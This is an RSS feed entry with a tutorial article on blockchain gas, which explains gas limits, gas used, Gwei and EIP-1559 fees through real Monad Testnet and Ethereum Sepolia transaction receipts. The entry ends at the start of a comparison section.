<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged solidity</title>
<link>https://coderlegion.com/tag/solidity</link>
<description>Powered by Question2Answer</description>
<item>
<title>Understanding Gas on the Blockchain: A Practical Guide Using Real Transactions</title>
<link>https://coderlegion.com/32560/understanding-gas-on-the-blockchain-a-practical-guide-using-real-transactions</link>
<description>&lt;p&gt;When I first encountered the concept of gas in blockchain, I understood on the surface that it measured computational work. However, I did not fully understand what that meant in practice, how gas is actually calculated under the hood, why transactions need gas limits, or how all of those numbers come together to form a transaction fee.&lt;/p&gt;
&lt;p&gt;Reading high-level definitions is one thing, but opening a block explorer and staring at a raw transaction receipt is another. Where does a specific number like &lt;code&gt;49,785&lt;/code&gt; or &lt;code&gt;152,492&lt;/code&gt; gas come from? Why does a transaction that transfers &lt;code&gt;0 ETH&lt;/code&gt; or &lt;code&gt;0 MON&lt;/code&gt; still cost money? And what actually happens to the gas you don't use?&lt;/p&gt;
&lt;p&gt;For me, the best way to truly grasp a technical concept--to the point where you can confidently explain it to someone else--is to connect the abstract math to a physical, real-world analogy and then test it against real data.&lt;/p&gt;
&lt;p&gt;In this article, we are going to break down how gas works from the ground up. We will build a simple physical mental model, look at how the Ethereum Virtual Machine (EVM) counts work, and then inspect &lt;strong&gt;two real blockchain transactions&lt;/strong&gt;: one where I interacted directly with a smart contract on &lt;strong&gt;Monad Testnet&lt;/strong&gt;, and a second transaction hash I pulled from the &lt;strong&gt;Ethereum Sepolia Testnet&lt;/strong&gt; explorer to see how the two networks compare.&lt;/p&gt;
&lt;h3 id=&quot;separating-the-five-core-concepts&quot;&gt;Separating the Five Core Concepts&lt;/h3&gt;
&lt;p&gt;When people talk about &quot;gas,&quot; they often lump several different things into one blurry idea of &quot;the fee I pay.&quot; To make transaction receipts easy to read, we first need to separate five distinct concepts:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Gas:&lt;/strong&gt; The unit used to measure the computational work required to process a transaction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Limit:&lt;/strong&gt; The maximum amount of gas a transaction is allowed to consume.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Used:&lt;/strong&gt; The amount of gas the transaction actually consumed during execution. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Price:&lt;/strong&gt; The monetary rate (in cryptocurrency) paid per single unit of gas.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transaction Fee (Gas Fee):&lt;/strong&gt; The final amount of cryptocurrency paid for processing the transaction, calculated according to the network's rules.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These concepts are closely related, but they do not mean the same thing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A Relatable Analogy: The Delivery Truck&lt;/strong&gt;&lt;br&gt;
Think of executing a blockchain transaction like hiring a delivery truck to drive across town and flip a switch at a warehouse:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gas (The Work)&lt;/strong&gt;: Driving 15 kilometers up a steep hill physically requires &lt;strong&gt;10 liters of fuel&lt;/strong&gt;. Notice that &quot;liters&quot; measures physical effort, not money. Whether fuel is cheap or expensive today, the engine still burns 10 liters to climb that hill.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Limit (Your Fuel Cap)&lt;/strong&gt;: Before the driver leaves, you hand them a fuel card authorized for a maximum of &lt;strong&gt;12 liters&lt;/strong&gt;. You are saying: &lt;em&gt;&quot;This trip should take 10 liters, so I am allowing up to 12 liters as a safety buffer. If the road is blocked and you burn all 12 liters before getting there, stop driving immediately.&quot;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Used (Actual Consumption)&lt;/strong&gt;: The driver completes the trip and the engine actually burns &lt;strong&gt;10 liters&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gas Price (Price per Liter)&lt;/strong&gt;: At the pump today, fuel costs &lt;strong&gt;$2 per liter&lt;/strong&gt;. Tomorrow, during heavy traffic demand, it might cost &lt;strong&gt;$4 per liter&lt;/strong&gt;. The distance and effort didn't change, only the price per unit of fuel.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transaction Fee (The Total Bill)&lt;/strong&gt;: The final payment calculated from the fuel and the price per liter.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With that picture in mind, let's briefly look at how the blockchain measures those &quot;liters of fuel&quot; under the hood.&lt;/p&gt;
&lt;h3 id=&quot;under-the-hood-how-does-the-blockchain-count-gas-&quot;&gt;Under the Hood: How Does the Blockchain Count Gas?&lt;/h3&gt;
&lt;p&gt;When you submit a transaction on an EVM-compatible blockchain, the network doesn't guess how hard your transaction worked. Instead, every tiny instruction the computer executes--called an &lt;strong&gt;opcode&lt;/strong&gt;--has a fixed cost measured in gas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Base Cover Charge (&lt;code&gt;21,000&lt;/code&gt; Intrinsic Gas)&lt;/strong&gt;: Before the blockchain even opens a smart contract, every standard transaction costs a flat minimum of &lt;strong&gt;21,000 gas&lt;/strong&gt;. This covers the basic work of verifying your cryptographic signature, checking your account nonce, and updating your account balance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Basic Math &amp;amp; Memory&lt;/strong&gt;: Inside a smart contract, simple operations like adding two numbers together (&lt;code&gt;ADD&lt;/code&gt;) cost just &lt;strong&gt;3 gas&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reading &amp;amp; Writing Permanent Storage&lt;/strong&gt;: Updating the blockchain's permanent database is the heaviest work a transaction can do, because every node on the network has to store that state change. Reading a variable from permanent storage for the first time in a transaction (&lt;code&gt;SLOAD&lt;/code&gt;) costs &lt;strong&gt;2,100 gas&lt;/strong&gt;. Writing a brand-new non-zero value into an empty storage slot (&lt;code&gt;SSTORE&lt;/code&gt; from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;) costs &lt;strong&gt;20,000 gas&lt;/strong&gt;, while updating an already non-zero slot (&lt;code&gt;SSTORE&lt;/code&gt; from &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt;) costs &lt;strong&gt;2,900 gas&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As your transaction runs, an internal meter starts at &lt;code&gt;21,000&lt;/code&gt; and adds up the exact cost of every instruction executed along the way.&lt;/p&gt;
&lt;p&gt;Now let's see how this looks on two real transaction receipts.&lt;/p&gt;
&lt;h3 id=&quot;case-study-one-calling-increment-on-monad-testnet&quot;&gt;Case Study One: Calling &lt;code&gt;increment()&lt;/code&gt; on Monad Testnet&lt;/h3&gt;
&lt;p&gt;For our first case study, I interacted directly with a smart contract deployed on Monad Testnet by calling its &lt;code&gt;increment()&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/ynfsd5vsittwt2kc9dkr.png&quot; alt=&quot;Monad Transaction hash receipt&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/ipa2utobv1vizco329ek.png&quot; alt=&quot;Monad Transaction hash receipt&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here are the exact details from the transaction receipt:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Field                  &lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Network                &lt;/td&gt;&lt;td&gt;Monad Testnet&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Function Called        &lt;/td&gt;&lt;td&gt;&lt;code&gt;increment()&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Status     &lt;/td&gt;&lt;td&gt;Success&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Value      &lt;/td&gt;&lt;td&gt;0 MON&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Limit              &lt;/td&gt;&lt;td&gt;49,785&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Used (as reported) &lt;/td&gt;&lt;td&gt;49,785&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Usage              &lt;/td&gt;&lt;td&gt;100%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Price              &lt;/td&gt;&lt;td&gt;102.82 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Fee        &lt;/td&gt;&lt;td&gt;0.0051188937 MON&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Why Did a &lt;code&gt;0 MON&lt;/code&gt; Transaction Still Incur a Fee?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Notice that the &lt;strong&gt;Transaction value&lt;/strong&gt; is &lt;code&gt;0 MON&lt;/code&gt;. My transaction didn't send any MON tokens to another person or contract, yet it still charged a fee of &lt;code&gt;0.0051188937 MON&lt;/code&gt;. Why?   &lt;/p&gt;
&lt;p&gt;In our delivery truck analogy, &lt;strong&gt;Transaction value&lt;/strong&gt; is the cash you put inside an envelope to send to someone across town. Even if you send the driver with &lt;code&gt;$0&lt;/code&gt; in the envelope just to flip a switch at the warehouse, the truck still has to burn fuel to drive there and flip the switch.&lt;/p&gt;
&lt;p&gt;Look at the Solidity contract behind &lt;code&gt;increment()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

contract Counter {
    uint256 public count;

    function increment() external {
        count = count + 1;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This contract stores a number called &lt;code&gt;count&lt;/code&gt; on the blockchain. Whenever someone calls &lt;code&gt;increment()&lt;/code&gt;, the contract increases &lt;code&gt;count&lt;/code&gt; by one (changing it from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;, or &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt;). Even though the code looks tiny, the blockchain still has to process the transaction, run the contract's instructions, read the current value of &lt;code&gt;count&lt;/code&gt;, and write the updated number into permanent storage.&lt;/p&gt;
&lt;p&gt;The transaction fee pays for that computational processing and state update, not for transferring currency.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How Was the Fee Calculated--And Why Was Gas Usage 100%?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/ipa2utobv1vizco329ek.png&quot; alt=&quot;Monad Transaction hash receipt&quot;&gt;&lt;/p&gt;
&lt;p&gt;On this receipt, the &lt;strong&gt;Gas limit&lt;/strong&gt; was &lt;code&gt;49,785&lt;/code&gt;, and the &lt;strong&gt;Gas used&lt;/strong&gt;, as reported was also &lt;strong&gt;49,785&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Gas Usage Percentage = (49,785 ÷ 49,785) × 100 = 100%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And if we multiply the Gas limit (&lt;code&gt;49,785&lt;/code&gt;) by the Gas price (&lt;code&gt;102.82 Gwei&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;$49,785 x 102.82 Gwei = 5,118,893.7 Gwei
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using the conversion of $10⁹ Gwei per &lt;code&gt;1 MON&lt;/code&gt;: &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Transaction Fee = 5,118,893.7 ÷ 10⁹ = 0.0051188937 MON
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This matches the displayed transaction fee down to the last digit.&lt;/p&gt;
&lt;p&gt;But this raises an important question: &lt;strong&gt;Why does Monad calculate the fee using the &lt;code&gt;Gas Limit&lt;/code&gt;, and why did the receipt report 100% gas usage?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Unlike Ethereum, which charges you based on the gas your transaction actually used after running, &lt;strong&gt;Monad charges based on the &lt;code&gt;Gas Limit&lt;/code&gt; you declare upfront&lt;/strong&gt; (and sets gasUsed equal to &lt;code&gt;gasLimit&lt;/code&gt; on the top-level receipt).&lt;/p&gt;
&lt;p&gt;To understand why, compare &lt;strong&gt;a supermarket checkout (Ethereum)&lt;/strong&gt; with &lt;strong&gt;booking cargo on an airplane (Monad)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ethereum (Supermarket Checkout)&lt;/strong&gt;: When an Ethereum validator builds a block, it runs each user's transaction on the spot before picking the next one. Because it runs the code immediately, it sees the exact &lt;code&gt;Gas Used&lt;/code&gt; right away and knows exactly how much space is left in the block for the next person.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monad (Booking Cargo on a Flight)&lt;/strong&gt;: To process thousands of transactions per second, Monad uses asynchronous execution: validators pack transactions into a block and lock in the order before running the smart contract code. Because the network hasn't run your code yet when packing the block, it doesn't know what your actual &lt;code&gt;Gas Used&lt;/code&gt; will be--it only sees the &lt;code&gt;Gas Limit&lt;/code&gt; you asked to reserve!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If Monad let users reserve massive amounts of block space using a huge &lt;code&gt;Gas Limit&lt;/code&gt; and then only charged them for a tiny &lt;code&gt;Gas Used&lt;/code&gt;afterward, someone could reserve an entire block, crowd out everyone else on the network, and pay almost nothing. Just like reserving 10 seats on a bus or cargo flight where other passengers have to be turned away at the gate, on Monad you pay for the exact capacity you reserve upfront (&lt;code&gt;Gas Limit&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&quot;case-study-two-inspecting-a-transaction-on-ethereum-sepolia-testnet&quot;&gt;Case Study Two: Inspecting a Transaction on Ethereum Sepolia Testnet&lt;/h3&gt;
&lt;p&gt;To see how standard Ethereum fee accounting differs, I went to the &lt;strong&gt;Ethereum Sepolia Testnet&lt;/strong&gt; block explorer and pulled up a random transaction hash to inspect its receipt. In this transaction, the sender called the &lt;code&gt;close()&lt;/code&gt; function on a smart contract.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/mia1vceke3h2ifd88wof.png&quot; alt=&quot;Ethereum Transaction hash receipt&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here are the transaction details:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Field                             &lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Network                           &lt;/td&gt;&lt;td&gt;Ethereum Sepolia Testnet&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Function Called                   &lt;/td&gt;&lt;td&gt;&lt;code&gt;close()&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Status                &lt;/td&gt;&lt;td&gt;Success&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Value                 &lt;/td&gt;&lt;td&gt;0 ETH&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Limit                         &lt;/td&gt;&lt;td&gt;156,059&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Used                          &lt;/td&gt;&lt;td&gt;152,492&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Usage                         &lt;/td&gt;&lt;td&gt;97.71%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Effective Gas Price (as reported) &lt;/td&gt;&lt;td&gt;0.000153611 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Fee                   &lt;/td&gt;&lt;td&gt;0.000000023424448612 ETH&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Gas Limit vs. Gas Used (And What Happens to Unused Gas)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Just like the Monad transaction, this transaction sent &lt;code&gt;0 ETH&lt;/code&gt; in value while paying a fee to execute smart contract logic. However, look at the difference between the limit and the actual consumption.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gas limit: &lt;code&gt;156,059&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Gas used: &lt;code&gt;152,49&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;156,059 - 152,492 = 3,567 unused gas
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Percentage Consumed = (152,492 ÷ 156,059) × 100 ≈ 97.71%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, the transaction consumed &lt;code&gt;97.71%&lt;/code&gt; of its limit and left &lt;code&gt;3,567&lt;/code&gt; gas (&lt;code&gt;2.29%&lt;/code&gt;) untouched.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What happens to that &lt;code&gt;3,567&lt;/code&gt; unused gas on Ethereum?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When a transaction begins on Ethereum, the protocol temporarily locks enough ETH from the sender's balance to cover the entire &lt;code&gt;156,059 Gas Limit&lt;/code&gt; (just like a fuel pump pre-authorizing your card before you pump). As the code executes, the meter ticks up to &lt;code&gt;152,492&lt;/code&gt;. The moment execution finishes, the leftover &lt;code&gt;3,567&lt;/code&gt; gas is &lt;strong&gt;immediately refunded&lt;/strong&gt; back to the sender's wallet inside the exact same transaction, and that unused capacity is freed up for other transactions in the block.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How the Sepolia Transaction Fee Was Calculated&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Because Ethereum refunds unused gas, the final fee is calculated strictly on &lt;strong&gt;Gas used&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Transaction fee = Gas used x Effective gas price
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Multiplying the &lt;code&gt;152,492&lt;/code&gt; gas actually consumed by the &lt;code&gt;0.000153611 Gwei&lt;/code&gt; effective gas price:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;152,492 x 0.000153611 Gwei = 23.424448612 Gwei
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since 1 ETH = 10⁹ Gwei:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Fee = 23.424448612 ÷ 10⁹ = 0.000000023424448612 ETH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice that the unused &lt;code&gt;3,567&lt;/code&gt; gas was never charged to the sender.&lt;/p&gt;
&lt;h3 id=&quot;how-do-you-know-what-gas-limit-to-set-&quot;&gt;How Do You Know What Gas Limit to Set?&lt;/h3&gt;
&lt;p&gt;Looking at numbers like &lt;code&gt;49,785&lt;/code&gt; on Monad and &lt;code&gt;156,059&lt;/code&gt; on Sepolia, a natural question comes up: &lt;strong&gt;How does anyone know how much gas a contract will need before sending the transaction?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You don't have to calculate opcodes manually. In practice, gas limits are estimated automatically:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Wallet &amp;amp; RPC Simulation (&lt;code&gt;eth_estimateGas&lt;/code&gt;)&lt;/strong&gt;: Before you click &quot;Confirm&quot; in your wallet, the wallet silently calls a method on an RPC node called &lt;code&gt;eth_estimateGas&lt;/code&gt;. The node runs a &lt;strong&gt;free practice simulation (dry run)&lt;/strong&gt; of your transaction against the current state of the blockchain in its local memory, counts the exact gas used, and reports that number back. Your wallet then adds a small safety buffer (often 10% to 20%) in case the blockchain state changes slightly before your transaction lands in a block.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Developer Tooling (Foundry)&lt;/strong&gt;: When writing smart contracts in Foundry, running &lt;code&gt;forge test --gas-report&lt;/code&gt; or &lt;code&gt;cast estimate&lt;/code&gt; simulates your function calls and prints out the exact gas numbers before you ever deploy to a live network.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;&lt;p&gt;Practical takeaway: Because Monad charges you for your declared &lt;code&gt;Gas Limit&lt;/code&gt;, you should rely on &lt;code&gt;eth_estimateGas&lt;/code&gt; with a modest buffer rather than manually typing in an artificially huge gas limit!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;understanding-gas-price-and-gwei&quot;&gt;Understanding Gas Price and Gwei&lt;/h3&gt;
&lt;p&gt;Now that we've covered &lt;code&gt;Gas Limit&lt;/code&gt; and &lt;code&gt;Gas Used&lt;/code&gt;, let's look at &lt;strong&gt;Gas Price&lt;/strong&gt; and &lt;strong&gt;Gwei&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;While gas measures the computational effort (liters of fuel), &lt;strong&gt;gas price&lt;/strong&gt; is the monetary cost per single unit of gas (price per liter). Because a single unit of gas costs a tiny fraction of &lt;code&gt;1 ETH&lt;/code&gt; or &lt;code&gt;1 MON&lt;/code&gt;, we express gas prices in &lt;strong&gt;Gwei&lt;/strong&gt; (short for &lt;em&gt;Giga-wei&lt;/em&gt;) so we don't have to read strings of nine zeros:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;1 ETH (or MON) = 10⁹ Gwei = 1,000,000,000 Gwei
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;1 Gwei = 0.000000001 ETH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When someone says &lt;em&gt;&quot;Gas price is 20 Gwei,&quot;&lt;/em&gt; they don't mean the whole transaction costs 20 Gwei. They mean &lt;strong&gt;each single unit of gas costs 20 billionths of an ETH&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Suppose a transaction consumes &lt;code&gt;50,000&lt;/code&gt; gas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;strong&gt;10 Gwei&lt;/strong&gt; per gas: &lt;strong&gt;50,000 x 10 Gwei = 500,000 Gwei&lt;/strong&gt; (&lt;strong&gt;0.0005 ETH&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;At &lt;strong&gt;20 Gwei&lt;/strong&gt; per gas: &lt;strong&gt;50,000 x 20 Gwei = 1,000,000 Gwei&lt;/strong&gt; (&lt;code&gt;0.001 ETH&lt;/code&gt;). &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notice that the computational work (&lt;code&gt;50,000&lt;/code&gt; gas) stayed completely identical--the fee doubled purely because network demand pushed the price per unit of gas twice as high.&lt;/p&gt;
&lt;h3 id=&quot;decoding-eip-1559-base-fee-priority-fee-and-max-fee&quot;&gt;Decoding EIP-1559: Base Fee, Priority Fee, and Max Fee&lt;/h3&gt;
&lt;p&gt;Both the Monad and Sepolia receipts identify the transaction type as &lt;strong&gt;EIP-1559 (Type 2)&lt;/strong&gt;. Under EIP-1559, the gas price is broken down into specific components. Let's look at the fee breakdown from the Sepolia receipt:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Fee Field           &lt;/th&gt;&lt;th&gt;                   Value&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Network             &lt;/td&gt;&lt;td&gt;Ethereum Sepolia Testnet&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Base Fee            &lt;/td&gt;&lt;td&gt;        0.000000015 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max Priority Fee    &lt;/td&gt;&lt;td&gt;        0.000153596 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max Fee             &lt;/td&gt;&lt;td&gt;        0.000153614 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Effective Gas Price &lt;/td&gt;&lt;td&gt;        0.000153611 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Here is how these four numbers fit together:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Base fee (&lt;code&gt;0.000000015 Gwei&lt;/code&gt;)&lt;/strong&gt;: The mandatory minimum rate per unit of gas for that block, determined automatically by the network based on how full previous blocks were. On Ethereum, the base fee is &lt;strong&gt;burned&lt;/strong&gt; (destroyed) rather than paid to the block proposer.   &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Max priority fee (&lt;code&gt;0.000153596 Gwei&lt;/code&gt;)&lt;/strong&gt;: The maximum tip per unit of gas the sender offers directly to the block proposer (validator) to incentivize them to include the transaction. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Max fee (&lt;code&gt;0.000153614 Gwei&lt;/code&gt;)&lt;/strong&gt;: The absolute ceiling per unit of gas the sender is willing to pay in total (&lt;code&gt;Base fee + Priority fee&lt;/code&gt;) in case the base fee jumps while the transaction is waiting.    &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Effective gas price (&lt;code&gt;0.000153611 Gwei&lt;/code&gt;)&lt;/strong&gt;: The actual rate per unit of gas charged when the block was produced:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Effective gas price = Base fee + Effective priority fee
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;0.000000015 Gwei + 0.000153596 Gwei = 0.000153611 Gwei
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because &lt;code&gt;0.000153611 Gwei&lt;/code&gt; was safely below the sender's &lt;code&gt;Max fee&lt;/code&gt; cap of &lt;code&gt;0.000153614 Gwei&lt;/code&gt;, the transaction paid the exact sum of the base fee and priority tip.&lt;/p&gt;
&lt;h3 id=&quot;why-do-transactions-need-a-gas-limit-and-why-gas-costs-change-&quot;&gt;Why Do Transactions Need a Gas Limit? (And Why Gas Costs Change)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Preventing Runaway Code&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Why does every blockchain transaction require a &lt;code&gt;Gas Limit&lt;/code&gt; in the first place? Consider a contract function with a massive loop:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;function expensiveOperation() external {
    uint256 total;

    for (uint256 i = 0; i &amp;lt; 1_000_000; i++) {
        total += i;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If a transaction could execute without an upper bound--or accidentally hit an infinite loop--every node on the network would get stuck executing that loop forever, halting the blockchain.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Gas Limit&lt;/strong&gt; acts as a circuit breaker. If a transaction burns through all of its allotted gas before finishing, it stops with an &lt;strong&gt;Out of Gas&lt;/strong&gt; error. When that happens, all state changes are reverted as if the transaction never happened, &lt;strong&gt;but the sender still pays for the gas consumed&lt;/strong&gt; because the network already spent real computational work running the code up to that point.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Keep in mind: having plenty of gas does not guarantee a transaction will succeed. If a contract fails an internal &lt;code&gt;require&lt;/code&gt; check or permission rule, the transaction will still revert even with gas left over.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why Two Calls to the Same Function Can Use Different Gas&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It is also easy to assume that calling the same function with the same inputs will always consume the exact same amount of gas. In practice, gas usage depends on the exact state of the contract at the moment of execution.&lt;/p&gt;
&lt;p&gt;For example, in our &lt;code&gt;Counter&lt;/code&gt; contract, the very first call to &lt;code&gt;increment()&lt;/code&gt; updates &lt;code&gt;count&lt;/code&gt; from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;. Allocating a brand-new storage slot from zero to a non-zero number costs &lt;strong&gt;20,000 gas&lt;/strong&gt;. The next call updates count from &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt;--and overwriting an already non-zero storage slot costs &lt;strong&gt;2,900 gas&lt;/strong&gt;. Even though both users called &lt;code&gt;increment()&lt;/code&gt;, the first call performed heavier database work under the network's rules.&lt;/p&gt;
&lt;h3 id=&quot;comparing-the-two-receipts-are-fees-on-monad-expensive-&quot;&gt;Comparing the Two Receipts: Are Fees on Monad Expensive?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/ipa2utobv1vizco329ek.png&quot; alt=&quot;Monad Transaction hash receipt&quot;&gt;&lt;/p&gt;
